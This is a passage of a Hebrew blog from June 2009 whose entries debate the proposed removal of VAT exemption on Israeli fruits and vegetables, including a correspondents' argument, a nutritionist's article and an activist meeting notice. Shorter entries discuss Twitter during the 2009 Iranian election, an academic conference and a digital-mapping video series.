כל מי שלמד כלכלה בסיסית , יודע שתוספת המע"מ לא תשנה את מדיניות המחירים של פרות וירקות לצרכן.4. החקלאים בארץ מקבלים סיוע מוגזם מהממשלה , ופצויים בעשרות מליוני ₪ , מה שגרם להם להפוך לגוף שאינו יעיל , ומבזבז מאות אלפי קוב של מיים , מדי יום נזרקים מאות אלפי ק"ג של פרות וירקות לפח , בגלל חוסר כלכליות לשווק אותו.
תוספת המע"מ – לא תשנה את זה. כל עוד ההיצע גדול בהרבה מהביקוש – המחיר יירד – מבלי כל קשר למע"מ.5.לשם השוואה בלבד , הייתי מציע לך לנסוע לסופ"ש לאילת , שהיא עיר שנהנית כבר הרבה שנים מפטור ממע"מ , ותנסה להסביר לי ולהוכיח לי איך הפטור ממע"מ בעיר – מוזיל את המחיר לצרכן.
בקבוק מיים – מינרלים של 300 CC שנמכר בכל הארץ – במקומות הכי יקרים – במחיר של 7 ₪ (בבתי קפה – בקניונים עם השכירות הכי גבוהה בארץ) נמכר באילת גם ב12 ₪ !!!!!
זו עוד דוגמא למחדל , ודוגמא למה שקורה שמתערבים ומכופפים בכח את כוחות השוק.6.במדינה שהופכת בקרוב למדבר ללא מים , לא ברור לי איך מצד אחד המדינה משווקת לנו פרסומות של חסכון במים , ומצד שני יש בזבוז אדיר של מים בחקלאות – שרובו ממומן ע"י המדינה.
בוא תנחש איזה עיר במדינה משלמת הכי מעט כסף למילוי מים ???
רמז : זה משמש להם בעיקר למלא את בריכות השחיה פעם בחודש …..
נכון , העיר סביון , סביון נחשבת למושב חקלאי (אם כי לא ראיתי שם פרות , וגידולי ירקות), ולכן הישוב מקבל הטבה וסבסוד של המים .
הבזבוז של המים בסביון – עובר כל גבול , גם בגינות הענק שיש להם , ובעיקר בבריכות הפרטיות .
האם אתה יודע כמה קוב מים מתבזבזים על מילוי בריכות בסביון ???7.אני שומע המון טענות על כך שגם כך , אנשי הבסטות בשוק לא ישלמו את המע"מ.
ואני שומע את זה מחברי כנסת , זה פשוט שערוריה .
פעם עלתה טענה , שגם קשה מאד לטפוס מחבל בכניסה לקניון ולמנוע את הפיגוע , האם זה מצדיק להפסיק את כל נושא האבטחה בקניונים ???
האם נהיינו מדינה , שמוחקת חוקים – בגלל הטענה שגם כך יהיה קשה לאכוף אותם ???
האם בתקציב המע"מ על ירקות (כ2 מליארד בשנה !!!) יהיה קשה לגייס מפקחים ???
הרי זה תקציב של צבא במדינה נורמאלית !!!
מה זה הטענה המטופשת הזו ???
אז בוא נוריד את משרד הבריאות – כי גם כך קשה לו לאכוף חוקים במסעדות , ובוא נמחק את משרד האוצר – כי גם כך יש מיתון , ובוא נוריד את משרד החינוך – כי גם כך אנחנו רק יורדים במיקום העולמי שלנו בניקוד בהשגים בלימודים.
האם היית מבטל ארנונה , בעיר ש10% ממנה לא משלמים בגלל שהם מתחמקים מהחוק ???8.שיהיה לך ברור , הפטור ממע"מ על ירקות נובע ממאינטרסים אישיים ושאינם כלכליים !!!
9. האם מע"מ הוא בכלל מס הוגן ???? – בכללי יכול להיות שלא !!! הוא מס קבוע , ולכן העשירים נהנים ממנו יותר.
אך אם יש מע"מ הוא צריך להיות על כל המוצרים.
מה עם תרופות לדוגמא ?? למה לא תבטל את המע"מ על תרופות ???
יש לי רעיון בשבילך , אם יש לך חשש כ"כ גדול מהתוספת של המ"עמ – תוציא חוק ,
על קיזוז מע"מ עם חשבונית קניה – לאוכלוסיות חלשות , כמובן שאותו אזרח יצטרך לעמוד בקריטריונים מסיימים.
הרי לא הגיוני לתת הטבה למדינה שלמה – רק בגלל הטענה הלא נכונה הזו.10. עוד עובדה . שתמחיש .
החוק פוטר ממע"מ פרות וירקות שלא עיבדו אותם !!!
לדוגמא , תפו"א מקולף – מחוייב במע"מ.
מה לדעתך ההפרש בין תפו"א מקולף , צ'יפס מוכן , ותפו"א שלם לא מעובד ??? (בסיטונאות !!!)
להלן מחיר השוק להיום (14/6/09) . מחיר הקלופים נלקח מחברה בשם "דבוש" שהוא המפעל הגדול בארץ לירקות קלופים.
המחירים בש"ח לק"ג :תפו"א גולמי שלם טרי תפו"א מקולף צ'יפס מוכן
מחיר סיטונאי 2.00 ₪ 1.60 ₪ 1.60 ש"חלא טעיתי , וגם אתה לא מתבלבל , מחיר תפו"א גולמי יותר יקר בסיטונאות ממחיר תפו"א קלוף.
אתה שואל את עצמך איך זה יכול להיות ???
אתה כבר צריך להבין לבד…………
ועל הקלוף יש מע"מ !!!
זה מזכיר בדיחה , שאם אין כסף לקנות לחם , אז לך תקנה עוגה…………
——————————
עד כאן דבריו של א'. שלחתי אותם לאיש יקר אחד (נקרא לו ש') ושאלתי אותו לדעתו, הוא השיב באופן הבא (עם עריכה קלה)
א. אם המטרה היא לא להתערב בכוחות השוק, אז הצעד הנכון הוא לא לבטל את הפטור על פירות וירקות אלא להסיר את המע"מ מכל המוצרים, מכיוון שכל מס הוא התערבות בכוחות השוק. ואגב, גם הפיקוח על הבנקים, רגולוציה של שוק ההון, עידוד היצוא, פיקוח על מחירי מוצרי יסוד וקניית דולרים על-ידי בנק ישראל – כל אלו הן התערבויות בכוחות השוק. האם גם לכל הנ"ל הוא מתנגד? גם מס הכנסה הוא התערבות בכוחות השוק, אז אולי נבטל אותו?
התערבות בכוחות השוק קיימת בכל מדינה, רק שבכל מדינה היא קיימת במינון שונה ובמידה שונה של שכל. הרעיון של "אפס התערבות" נזנח ב-1929 כשהתחיל השפל הגדול בארה"ב והתבררו התוצאות של חוסר התערבות קיצוני: ערעור של היציבות עד כדי קריסה והתמוטטות של המערכות הכלכליות. (המלצה על קריאת "אי נחת בגלובליזציה" של פרופ' ג'וזף שטיגליץ)
ב. הטיעון כאילו הכסף הולך לטרור – זו חוצפה שאין כדוגמתה. על כל דבר אומרים את זה: סוחרי הסמים מממנים את הטרור, מוזיקה פיראטית מממנת טרור, ועכשיו גם הכנסות ממכירת ירקות ופירות? זו דמגוגיה עלובה.
ואם 90% מהמפיצים של ירקות ופירות הם מהעשירון העליון – מדוע להפיל את ההוצאה הנוספת עליך ועליי? האם מפיצי הירקות והפירות ישלמו את המע"מ או שאנחנו נשלם אותו?ג. כל מי שלמד כלכלה יודע שהוספת המע"מ בהכרח תשפיע על המחירים. כבר בשיעורי המבוא לכלכלה מלמדים שכאשר יש מיסוי על מוצר, מחיר השוק של המוצר יתייקר בדיוק בשיעור המס.
ד. אין "שוק חופשי" של פירות וירקות. מועצת הפירות והירקות היא לא "בורסה" אלא (כנראה) סוג של קרטל וקבוצת לחץ פוליטית שמנסה להגדיל את מחירי הפירות והירקות כדי להגדיל את הכנסות החברים בה. בנוסף, ישנה מסורת ששר החקלאות הוא בעצם בובה של הלובי החקלאי ומשרת את האינטרסים שלו באופן מוחלט. כשמחיר של פרי או ירק עולה כתוצאה מ"כוחות השוק" מקפידים לפגוע בכוחות השוק ולמנוע ייבוא של אותו פרי או ירק מארצות בהן הוא זול יותר. למשל, שנה שעברה כשמחירי הלימונים הגיעו ל-30 ש"ח לק"ג, משרד החקלאות מנע במכוון ייבוא של לימונים.
ה. במילים אחרות: יש התערבות בוטה בכוחות השוק כל הזמן, והיא כמעט תמיד נגדנו. דווקא הפטור ממע"מ על פירות וירקות הוא דבר שמיטיב עם כולנו ובמיוחד עם השכבות החלשות שמרכיב ההוצאה על הנ"ל מסך ההוצאות שלהם הוא גדול יחסית.
מר א' יכול היה להתרעם על הטבות המס לעשירון העליון שהן חלק מאותה תוכנית של משרד האוצר – כלומר, בשילוב עם תוספת המע"מ זו העברה של כסף מהעשירונים התחתונים לעליונים, ואגב, גם להוצאות ביטחון כי גם תקציב הביטחון גדל.
מר א' הסכים להשיב לדבריו (לצערי בפחות סבלנות, אבל תניחו שהיו עוד כמה התייחסויות אישיות בין השניים שהלהיטו את הרוחות):
אין לי טעם לענות לך , מכיוון שפער הרמות בינינו הוא גדול מדי , ונראה לי שיהיה לי קשה (וגם אין לי זמן לעשות זאת) להסביר לך הכל מהתחלה.
לימון הוא מוצר עונתי , בשנה קודמת היה וירוס באירופה ורוסיה שפגע בכל ההדרים – כולל הלימון.כנס לאתר מס הכנסה – למחקלת הלבנות הון , ותראה שנתפסו לפני כחודש 2 סוחרי פרות וירקות בארץ עם חשבוניות פקטיביות של מעל 30 מליון ש"ח.
כך שגם בעניין הזה אתה שולף הערות חסרות בסיס.אולי תתקשר למועצת הירקות ותקבל נתון , כמה פרות וירקות פונו ע"י רק השבוע ונזרקו לפח הזבל , ורק בכדי לשמור על מחיר סביר – כי החקלאים לא מצליחים לקבל אפילו 40 אגורות לק"ג
איפה למדת כלכלה – ואיפה לימדו אותך שתוספת של 15% היתה עוזרת להם להרים את המחיר ???
www.csv.moag.gov.il/documents/463proekt_hasavat_haklaim.dot
להל"ן תגובתי של ש':
א. לגבי הלימונים – מכיוון שאתה בקיא בנושא, תוכל בוודאי לתקן אותי אם אני טועה. למיטב ידיעתי, כבר בחודש ינואר 2008 היה ידוע שצפוי מחסור חמור בלימונים בעקבות מכת הקור. באפריל, הגיע מחיר הלימון לכ-15 שקלים, פי ארבע מאשר בתקופה המקבילה ב-2007. ביוני הוא טיפס לכ-30 שקלים. ובכל זאת רק באוגוסט התיר משרד החקלאות לייבא לימונים מירדן – ותוך זמן קצר המחירים התייצבו. מחיר של 30 ש"ח ללימון, שהוא כמעט מוצר יסוד, הוא מצב קלאסי של כשל שוק שהמדינה צריכה לפתור, ובדוגמא הזו נדמה לי שהמדינה דווקא ניסתה להשאיר את המצב הזה זמן ארוך ככל האפשר.
ב. המקרה שהבאת, של תפיסת סוחרי הפירות והירקות שהוציאו חשבוניות פיקטיביות, מוכיח שכנראה לא צריך מע"מ כדי לתפוס עבריינים. אני לא מבין מדוע אתה חושב שהטלת מע"מ על ירקות ופירות תהפוך את האכיפה פשוטה יותר (האם סוחרי הירקות והפירות לא חייבים בהגשת דו"חות למס הכנסה ולביטוח לאומי? האם אינם חייבים בניהול ספר תקבולים ותשלומים?). בכל מקרה, זו לא סיבה לגלגל את העלות לצרכן.
(הערה מטל גלילי: ממה שהבנתי ממכתב אחר של א', הסיבה להבדל היא שההבדל בין אי תשלום מס הכנסה לאי תשלום מע"מ, היא שהאחרון הוא עבירה פלילית שעשויה להוביל לריצוי זמן מאסר. כמו כן, כנראה שמנגנון המע"מ אמור להיות מנגנון אכזרי ומיומן יותר בגביית תשלומים מאשר מס הכנסה)ג. לשאלתך, למדתי כלכלה באוניברסיטת בר-אילן. אותי לימדו שכאשר מטילים מס על מוצר זה שווה ערך להגבהת עקומת ההיצע, כך שנקודת המפגש שלה עם עקומת הביקוש מתקרבת לציר ה-Y. בשוק שבו הביקוש גמיש, הוצאות הצרכנים יגדלו והיקף הצריכה ירד. בשוק שבו הביקוש קשיח היקף הצריכה לא ישתנה, אבל הוצאות הצרכנים יגדלו עוד יותר. בכל מקרה, הצרכן הוא זה שיספוג את עלות המס.
ד. מצב כמו זה שאתה מנבא, שבו מחיר השוק לא ישתנה כלל ומי שיספוג אותו הם הסוחרים, ייתכן רק אם הביקוש גמיש לחלוטין. במקרה כזה סך הביקוש המקומי ירד ולך יהיו יותר לימונים לייצא לחו"ל. כלומר, על-פי דבריך שלך והתחזיות שאתה מציג, אתה בהחלט בעל עניין.
ה. עוד דבר שעשוי לקרות אם הביקוש גמיש לחלוטין, ובהנחה שלא יהיה יותר ייצוא לימונים מחו"ל, הוא שיותר חקלאים ייתקעו עם סחורה ויפשטו רגל – כך שתהיה ירידה בהיצע שתתאים אותו למחיר השוק. גם זו תוצאה אפשרית של מיסוי, שהוא תמיד בבחינת "התערבות בשוק".
ו. השמדת יבולים חקלאיים במדינה ובעולם בהם יש אנשים רעבים, היא בעיני מעשה תועבה. גם פגיעה מכוונת בהיצע כדי לגרום לעליית מחירים, כפי שתיארת, היא דבר בעייתי מאד בעיני. כאשר אופ"ק עושה זאת (לכאורה) עם נפט, כל העולם מקלל את מדינות המפרץ. במצב בישראל שבו לא ניתן לייבא פירות וירקות באופן חופשי כאשר גוף כלשהו השיג מונופול זמני על אספקה של פרי (זה לא צריך לעניין את הממונה על ההגבלים העסקיים, אגב?), דיבורים על "שוק חופשי" הם בדיחה.
והנה תשובתו האחרונה של א', עד כה:
נתון בסיס בענף הירקות : מדד הירקות והפרות עלה באחוזים ניכרים בשלוש שנים האחרונות , איפה זה בדיוק השפיע על מחירי הצרכן ברשתות ????
בכמה מכרו עגבניות אז , לפני העלייה ??? בפחות מ99 אגורות ???
אתה פשוט לא מבין בענף ………..
לימון מוצר בסיס ??? מאיפה הבאת את זה ??? הצריכה בארץ של לימון שואפת לאפס ……….
הרי יש מוצר יותר בסיסי ממי ברז לשתיה ???
איפה היית שהוסיפו מע"מ למיי הברז ??? או שאפילו לא ידעת ולא שמת לב בגלל שבתחום הזה אין אינטרסים לגופים משפיעים , שהרי המיים שם מסובסדים גם כך.
איפה היית שהוסיפו מע"מ על מי השתיה למסכן שלא יכול לקנות מיים מינרלים ???
אתה רוצה להגיד לי שלא הרגשת שפתאום יש לך מע"מ על המיים בחשבון הארנונה ???
בירקות סה"כ מבטלים פטור על חוק שקיים ,
קשה לי לשכנע משהו , שאין לו ידע בסיסי בענף – אפילו של 5% …………
עד כאן הדיון (הארוך) בין שני הגורמים.
אני שולח כעת את הדיון לאנשים בעלי עניין, לראות אם למי מהם יש מה להוסיף.
אם ברצונך להגיב – אז בשמחה.
9:06 כפי שרובכם וודאי יודעים, באיראן התקיימו לאחרונה בחירות בין אחמדינג'אד לבין מוסאווי (המועמד המוביל מטעם מחנה הרפורמיסטים). יום הבחירות הגיע, אנשים הצביעו, והדיווחים מהתקשורת זרמו על תוצאות הבחירות. הנה לפניכם גרף המתאר עת מספר הקולות שדווחו עבור כל אחד משני המתמודדים המובילים:
מה שהגרף מדגים זה יחס לינארי כמעט מושלם במספר הבוחרים לשני הצדדים, לאורך ששת הדיווחים החדשותיים שפורסמו במהלך יום הבחירות והגעת תוצאות ההצבעה (נחשפתי לגרף באתר "קו חוץ" אשר מציע פרשנות חוץ בעברית).
כשרואים נתון כזה אי אפשר שלא לשאול אחד משניים: או שמישהו קיבל את הנתונים ומאד עיגל אותם. או (האפשרות שאיראנים רובים חושדים בה) שמישהו לא הסתכל על שום נתוני הצבעות ופשוט הקריא מה שהמשטר הטוטאליטארי של איראן אמר שצריכות להיות תוצאות הבחירות. אם היה עלי לנחש, הייתי מאמר על האופציה השניה (שוב, בהנחה שהגרף שתיארתי כרגע הוא נכון, אך כנראה שכך הוא – הוא הגיע מדיווחי בלוגרים על תוצאות הבחירות שדווחו בחדשות באיראן).
אך אילו באמת היינו רוצים להגיד שיש פה בעיה, מה שהיינו צריכים לעשות זה להשוות את זה לגרפים אחרים של דיווחי בחירות (באיראן בשנים קודמות ובאופן כללי). למה אני אומר זאת, כיוון שאפשר לראות שהנקודות אינן מסתדרות על הקו בדיוק, והיות והסקאלה היא של מליונים, אז אינני יכול להיות בטוח עד כמה בעצם הנתונים כן משקפים הבדלים של עשרות אלפי הצבעות, אך אנו פשוט לא מסוגלים לראות אותם. ניחא…
בכל אופן, מה למדנו מזה?
ראשית – שאם אתם רוצים להונות אוכלוסיה של בלוגרים איראניים לגבי תוצאות הבחירות, תוסיפו רעש כלשהו ליחס בין תוצאות הבחירות (רעש יוניפורמי, נורמאלי, משהו…).
אבל מה שבאמת מעניין בבחירות באיראן, הן הקשר בינן לבין האינטרנט…
הפייסבוק שנסגר לפני הבחירות: התומכים הרפורמיסטים של מאסאווי, כהמון, הצליחו לרתום את האינטרנט למאבקם הפוליטי. עוד בנסיונותיהם להוביל לבחירתו של מועמדם, הם השכילו להשתמש בכלים הפשוטים העומדים לרשותם כגון טוויטר ופייסבוק, על מנת לתאם ביניהם פעולות (אסיפות, מפגשי הסברה וכו'). זו גם הסיבה, כנראה, בגינה בחר המשטר לחסום את הגישה לפייסבוק כ- 20 יום לפני הבחירות.
כשהמשטר מפחד סוגרים את כל הברזים:
עד כאן עד שהגיעו התוצאות – אבל לאחר שהתוצאות הגיעו, מסתבר ששערי גיהנום נפרצו – והמדהים הוא שכולנו יכולנו לקרוא על זה ברשת!
עוד לפני שאיזשהו כתב חדשות יכל לתת דיווח מקיף, עשרות מאות ואלפי דיווחים על הנעשה באיראן נשלחו באמצעות טוויטר, וניתן היה לקרוא אותם בקלות על ידי חיפוש המילה #iranelection בחיפוש של טוויטר.
הנה הדיווחים כפי שהם התקבלו כעת:
הדיווחים שזרמו אתמול בלילה סיפרו על מהומות ושרפות וצעדות. ידעתי בשלב מוקדם מאד שמנהיגי המחנה הרפורמיסטי מוחזקים תחת מאסר בית והיו קישורים לתמונות נוראיות של אלימות משטרתית, מפות גוגל להתמצאות ואינספור סרטונים של הפגנות.
במקביל יש ביקורת של טוויטריסטים על הסיקור החלקי ש- CNN מציגה למאורעות. בתמונה שלפניכם אפשר לראות השוואה של כמות השטח שכל אחד מאתרי החדשות הגדולים סיקרו את המהומות באיראן (CNN – לא יצאו טוב…)
(ניתן לעקוב אחרי הביקורת על ידי חיפוש הצירוף: CNNfail בטוויטר.)
(לפרוטוקול, שמעתי על זה לראשונה בטוויטר דרך הבלוגרית בחסד יונית מוזס)
בזמן שהמהומות התחילו לפרוץ, ממשלת איראן סגרה את רוב תשתיות התקשורת. הם חסמו את הרשתות החברתיות הגדולות כגון פייסבוק, טוויטר, יוטיוב ועוד שלל אתרים חדשותיים מרכזיים מהעולם. הם כיבו את הרשת הטלפונית, ואיראנים נבונים שלחו אימיילים לחבריהם בחו"ל בתחינה שאלו יפרסמו בטוויטר שלהם, אל העולם, מה מתרחש בארצם.
לי זה נוגע ללב!
מאיראן עד קנייה
מבחינת האיננטרנט, יש פה דוגמא מדהימה לכיצד האינטרנט מאפשר לאזרחים לחשוף בפני העולם כיצד הממשלות שלהם מתנהגות. והקצב שטוויטר מציע איננו ניתן לתחרות למול זה של רשתות התקשורת הגדולות. כך לדוגמא קרה בקניה לאחר הבחירות בשנת 2008, שהעולם יכל לראות את האלימות שפרצה שם בזמן זה:
אז מה אנו לומדים מכל זה?
אני לא יודע.
בפירוש קורה פה מ-ש-ה-ו. אבל מהו הדבר שקורה, זה לא ברור.
הקול הפנימי שבי שחושב על קונספירציות שואל את עצמו עד כמה ממשלים אחרים (כמו זה של אובאמה, שהראה הבנה מקיפה של האינטרנט), היה מעורב בעקיפין במה שקורה (לדוגמא על ידי זיהוי דברים שראויים לדיווח ואז הפצתם באמצעים הללו, על ידי שהם מאפשרים לשאר המשתמשים האותנתיים להפיץ הלאה).
לא ברור כמה מהדיווחים הם אמיתיים וכמה לא, אבל השטף מרגיש "אמיתי" (אני מת שמישהו ימדל כבר את הדברים הללו שיהיה לנו דרכים חכמות יותר לדעת זאת).
מה המשמעות של זה על העתיד?
העתיד של איראן – שאלה מרתקת. האם זו תחילתה של מהפיכה במשטר שם או פשוט הזדמנות למשטר לרצוח שכבות של אוכלוסיה משכילה? עוד לא ברור.
העתיד של האינטרנט באופן כללי – זו דוגמא עבור משטרים אפלים מה האינטרנט יכול לשחרר. זה מעודד משטרים כמו סין לשמור על פיקוח אדוק (כאילו הם לא ידעו קודם). ובאופן כללי, צריך להזכיר לכולנו עד כמה הכרחי זה עבורנו שלא לאפשר לאף ממשלה בישראל, אי פעם, לצנזר את האינטרנט… (ואם זה נשמע לכם מדע בדיוני, אז אני רוצה להזכיר לכם שחוק סינון אתרים כבר עבר קריאה ראשונה)
העתיד של טוויטר באופן ספציפי – הייזם שיצליח להרכיב הצגה מחודשת, אינטיליגנטית, של טוויטים יעשה הרבה טוב לעולם. העובדה שכרגע אני לא יודע כמה אנשים כותבים על משהו, כמה טוויטים יש להם בנושא, מה הקשרים ביניהם כשהמידע שלהם זרם (כך שאני יכול לראות אם זה משהו שמגיע מהרבה רשתות חברתיות בטוויטר או גושיש מסויים שאולי הוא מזוייף) וכו וכו – אלו הם האתגרים הבאים שאני רואה לצרכני אינטרנט שכמותי בשימוש בטוויטר לזיהוי מגמות.
(אם למי מכם יש כלים מגניב להמליץ עליהם, הרגישו חופשי לכך בתגובות!)
20:06 היום פנתה אלי שלומית ליר וסיפרה על כנס מעניין (כניסה חופשית) שיתרחש בשבוע הבא (יום ראשון 14.6.09) באוניברסיטת בר אילן (תחת המטריה של החוג למגדר) בשם "האינטרנט כפלטפורמה למהפכה חברתית - פמיניסטית".
הנושא מעניין (טוב נו, הפמיניזם זה פחות הקטע שלי, אבל כל השאר כן). וההרצאות נראות מרתקות (אם חנית תהיה שם, אז ברור שזה יהיה מרתק!).
*** אם מעניין אותכם להגיע, תוכלו לבצע הרשמה מוקדמת באתר האגודה הישראלית ללימודי מגדר. ***
ולנוחיותכם, הנה התוכניה המלאה (ניתן ללחוץ בצד הימני העליון לקבלת מסך מלא) :
האינטרנט כפלטפורמה למהפכה חברתית - פמיניסטית - Get more
23:58 עד כמה זה באמת מסוכן שהמע"מ הזה יעבור?
מספר אנשים אמרו ואומרים שכל הסיפור הזה נשמע כמו עז שלא יצביעו עבורה.
לעומתם, מספר אנשים הביאו חשש רציני. אחד מהם הוא חבר הכנסת שי חרמש שהסביר במכתבו שתחת מכבש לחצים קואליציוניים (ותחת המשבר הכלכלי שפוקד את העולם) יכול לקרות שהמעמ הזה יעבור. אדם אחר (שמו ישאר במערכת) ששוחחתי איתו נתן ניתוח פאסימי: הוא הסביר שבדרך כלל כשמכניסים עז יוצא שחבר כנסת כלשהו מתלבש על הנושא ומעלים אותו מסדר היום (תוך גריפת הון פוליטי כזה או אחר). במקרה של המע"מ לירקות ופירות, עושה רושם שההצעה הזו יתומה. אני לא ידוע עד כמה הניתוח הזה נכון למה שקורה בכנסת, אבל מי יודע - אולי.
מה הלאה ?
וועדת הכספים צריכה לדבר על הנושא הזה עוד פעם. כרגע עוד לא נקבע תאריך לדיון. כשייקבע, יכול להיות שנפרסם זאת ברבים כדי שמי שרוצה יוכל להגיע לשם.
צפוי מפגש בוקר עם ד"ר אנדוולט ב- 18.6.09. אבל יכול להיות שעד אז זה יהיה מאוחר מידי.
מה דעתכם, צריך לעשות משהו נוסף שלא עשיתי? אם כן, מהו?
19:47 צפייה מרתקת. האיש יודע לנאום ומציג חזון מעורר השראה. תקוותי שהעתיד שהוא מתווה יתממש.
ההתייחסות לישראל (ושאר העולם הערבי) מתחיל בדקה - 24:10
9:43 שלום לכולם.
זמן הפגישה: ביום חמישי בבוקר, ב- 18.6.09 בשעה 10:00-11:00 בבוקר תתקיים הפגישה הראשונה של האנשים שמעוניינים במניעת הטלת המע"מ על ירקות ופירות. הפגישה פתוחה לכל מי שמעוניין להגיע, ומיקום הפגישה ייקבע לאחר שתהיה לנו הערכה של מספר האנשים שמעוניינים להגיע.
מטרות הפגישה הן:
אם ברצונכם להגיע - אנא מלאו את פרטיכם בטופס הבא: (זה מה שיאפשר לי לדעת את דעתכם וגם כיצד ליצור איתכם קשר)
(ואם אתם בפייסבוק, אנא הזמינו את חבריכם לאירוע שפתחתי כאן. למי ששואל את עצמו למה גם בפייסבוק וגם פה, אני עונה על השאלה לאחר הטופס)
Loading…
ש: למה גם מילוי פרטים פה וגם באירוע בפייסבוק ?
ת: מילוי פרטים כאן נותן לי באופן מרוכז את האימיילים והטלפונים של אנשים (כולל הדעות שלהם פחות או יותר), כך שאני יכול ליצור איתכם קשר באופן מאורגן (דרך הטלפון או האימייל). פייסבוק לא מאפשר לי לדעת טלפונים או אימייל באופן נוח. הייתי יכול להסתמך על מסרי פייסבוק, אבל משלב מסויים פייסבוק יכול להחליט שאני ספאמר ולמנוע ממני לשלוח הודעות (ואני יודע שחלקכם יתלוצצו על הנושא, אבל זה המצב).
אז למה בעצם לעשות אירוע בפייסבוק? בגלל ההפצה - כי אני יכול להזמין רק אתכם, ולא את החברים שלכם. בעוד שכשיש אירוע בפייסבוק, מאד קל לאנשים להזמין את החברים שלהם (ולהם להזמין את חבריהם). וכך האירוע יופץ יחסית בקלות.
מה יהיו צעדי ההמשך ?
תלוי במידת ההיענות. אם אני אגיע לפגישה לבד, אז לא הרבה. אם הרבה אנשים יגיעו לפגישה, אז ננסה לגלות מתי יהיה הדיון הבא על המעמ לירקות ופירות בוועדת הכספים של הכנסת (הנה לינק לסדר יום, אני מחכה שיעלו שם משהו מתאים). באפשרותינו להגיע לוועדה, נוכל לארגן אירועים ולהרחיב את ההסברה ולהגיע לתקשורת. ולאלו יכול להיות השפעה על הפוליטיקאים. ובמקרה ולא תהיה השפעה, אז אפשר תמיד ליצור רשימה שחורה מסודרת מאד של האנשים שלא לקחו אחריות רצינית על הנושא, ולהזכיר את הרשימה הזו בבחירות הבאות (שלפי עשרים השנים האחרונות, הבחירות הבאות יהיו עוד שנתיים, שזה לא הרבה זמן).
בקיצור, כקבוצה של אנשים אנחנו יכולים לעשות דברים מעניינים.
מילת המפתח פה היא נוכחות. תהיו נוכחים - וזה יקרה.
13:43 שני הסרטונים הבאים הם חוויה מרשימה. רואים בהם כיצד אנשים באפריקה מבצעים עבודות בניה באמצעות בטון. אך היות ואין להם אמצעים משוכללים לשנע בטון ממקום למקום בתוך איזור הבניה, הם משתמשים בהרבה מאד כוח (ומיומנות) כדי להניע את הבטון ממקום למקום. נותן פרופורציות:
תודה לג'יק על הלינק.
16:27 ד"ר רונית אנדוולט היא מנהלת התזונה מכבי שרותי בריאות, מרצה באוניברסיטת חיפה וחברה בעמותת עתיד. פניתי אליה בבקשה לחוות דעת מקצועית בנושא הסכנה לבריאות האוכלוסיה במקרה של הוספת מע"מ על ירקות ופירות. בתגובה קיבלתי לפרסום את המאמר הבא בנושא.
החלטת האוצר לשקול את ביטול הפטור ממע"מ על ירקות ופירות, במסגרת חוק ההסדרים, הוא למעשה הטלת מיסוי על הבריאות שלנו. החלטה זו עלולה לעודד תחלואה, משום שהיא תגרום לאוכלוסייה לצרוך פחות מבעבר ירקות ופירות, שהם המזון הבריא ביותר שיש לנו כיום. בבסיס החלטה זו נמצא חוסר שוויוניות מוחלט והיא תוביל להעמקת הפערים החברתיים, זאת משום שאוכלוסיה בעלת יכולת כלכלית גבוה תמשיך לצרוך ירקות ופירות בריאים, בעוד שאלו המשתייכים למעמד כלכלי בינוני ומטה יעדיפו לצרוך מזון זול יותר והרבה פחות בריא, שיגרום להשמנה ויגדיל את הפערים החברתיים והבריאותיים לרעת השכבות החלשות.
פירות וירקות מכילים רכיבים תזונתיים חיוניים הכוללים: ויטמינים, מינרלים, סיבים תזונתיים ועוד אלפי חומרים החיוניים לבריאותינו. מעבר לכך תכולת הסוכר השומן והקלוריות בפירות ובעיקר בירקות היא נמוכה בהשוואה לכל קבוצת מזון אחרת. סגולות תזונתיות אלו מקנות להם יכולת להבטיח בריאות ולמנוע תחלואה.
היום כאשר נטל התחלואה העיקרי הנופל על מדינות מערביות וגם מדינות מתפתחות היא התחלואה הכרונית: סוכרת, מחלות הסרטן, מחלות לב וכלי דם, השמנה ועצירות, נמצא כי לירקות ולפירות ערך מגן בפני עצמו. מחקרים רבים מראים כי אכילת כמות מספקת של ירקות ופירות מורידה את היקף התחלואה באותן מחלות. הטלת מיסוי על ירקות ופירות תגרום לאנשים להפחית בצריכת הירקות והפירות, וכתוצאה מכך יגרם נזק בריאותי לטווח ארוך.
מדינת ישראל התברכה במבחר פירות וירקות הגדלים על אדמתה כמעט בכל חודשי השנה, ובהשוואה למדינות אחרות בעולם, צריכת הפירות והירקות במדינתנו מאוד דומיננטית. גאוותנו היא שבכל ארוחה אנו אוכלים ירקות ופירות, תזונה שמגנה עלינו עד כה, ומהווה חלק מתזונה ים תיכונית בריאה.
בשנים האחרונות מדברים על היעדר 'ביטחון תזונתי' של האוכלוסייה, פירושו הדבר שאין לאנשים די מזון מזין להאכיל את עצמם ואת בני משפחתם. אנשים הסובלים מהעדר ביטחון תזונתי יכולים לסבול מעודף משקל או מהשמנת יתר, משום שהם אוכלים אוכל זול עתיר פחמימות ושומן, משום שאין להם הכנסה מספקת שתאפשר להם לקנות ירקות ופירות, מוצרי חלב, בשר, דגים ועוד. הדרך להילחם בהשמנת יתר, המגיפה של המאה ה- 21, היא לעודד צריכת ירקות ופירות, ולא להיפך.
הוספת מע"מ על הירקות והפירות היא החלטה טיפשית ושגויה. הסיבה לעשות זאת טמונה כנראה בכך שעד היום לא היה עליהם מע"מ. נשאלת השאלה, האם ההסבר זה יהיה משכנע גם בעוד מספר שנים, כשתעלה התחלואה בעיקר בקרב הקבוצות החלשות? האם מישהו בחן את הסיבות מדוע לא היה עד היום מע"מ על הירקות והפירות?
המדינה חייבת לפעול בהגיון כלכלי אך גם בהגיון בריאותי, ולהפנות את היוזמה של אנשי האוצר להטלת מסים נוספים משמעותיים דווקא על כל מה שיש בו נזק ברור לבריאות שלנו כמו מס כבד על עישון סיגריות, על שתייה מתוקה, משקאות אלכוהולים ממתקים וחטיפים, ולעומת זאת להוזיל ולסבסד מזון בריא כמו פירות וירקות, מוצרי חלב דלי שומן, קטניות ודגים.
22:11 אני חיים בעידן המיקום הגלובאלי. "איפה אני?" מתחלף ב- "איפה אני ביחס לכל דבר אחר?"
הקטע הנ"ל לקוח ממיני-סידרת יוטיוב חדשה בשם "פרוייקט המהפכה הגיאו-פיזית". יוזמה שמטרתה לחשוף בפני הציבור (אנחנו) אודות העולם של מיפוי דיגיטלי והאופן שבו הוא משנה את הדרך בה אנו חושבים, מתנהגים ומבצעים אינטראקציה.
הסידרה תכלול 8 פרקים (שכאמור, יפורסמו ביוטיוב) אשר ישתלבו לכדי סידרת דוקומנטרי של 60 דקות.
מעניין ומהנה…
